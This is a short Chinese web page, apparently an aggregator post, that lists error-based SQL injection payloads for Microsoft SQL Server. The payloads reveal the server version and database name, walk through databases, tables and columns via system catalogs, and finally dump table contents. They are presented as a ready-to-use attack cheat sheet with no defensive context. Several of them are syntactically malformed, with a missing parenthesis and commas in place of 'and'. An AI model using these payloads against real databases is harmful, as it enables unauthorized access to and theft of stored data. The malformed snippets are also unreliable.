显性注入代码

Posted

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了显性注入代码相关的知识,希望对你有一定的参考价值。

库版本进行查询   and 1=(select @@version)

查看当前库名    and 1=(select db_name() 

库名查询       and 1=(select top 1 name from master..sysdatabases where dbid>4 and name <> ‘第一个数据库库名‘,name <> ‘第二个数据库库名‘,。。。。。。name <> ‘第N个数据库库名’)

表名查询:       and 1=(select top 1 name from sysobjects where xtype=‘u’ and name <> ‘第一个数据库表名‘name <> ‘第二个数据库表名‘,。。。。。。name <> ‘第N个数据库表名’) 

列名查询         and 1=(select top 1 name from syscolumns where id=(select id from sysobjects where name=‘表名‘) and name <> ‘第一个列名’,and name <> ‘第二个列名‘。。。。。。and name <> ‘第个列名‘  )

内容查询:       and 1=(select top 1 列名 from 表名) 


以上是关于显性注入代码的主要内容,如果未能解决你的问题,请参考以下文章

CAN总线的显性电平为什么能覆盖隐性电平?

selenium常用操作之等待操作

我所理解的javascript的隐性类型转化。

读书笔记《Unix编程艺术》三

代码注入的特征

ios注入垃圾代码 风险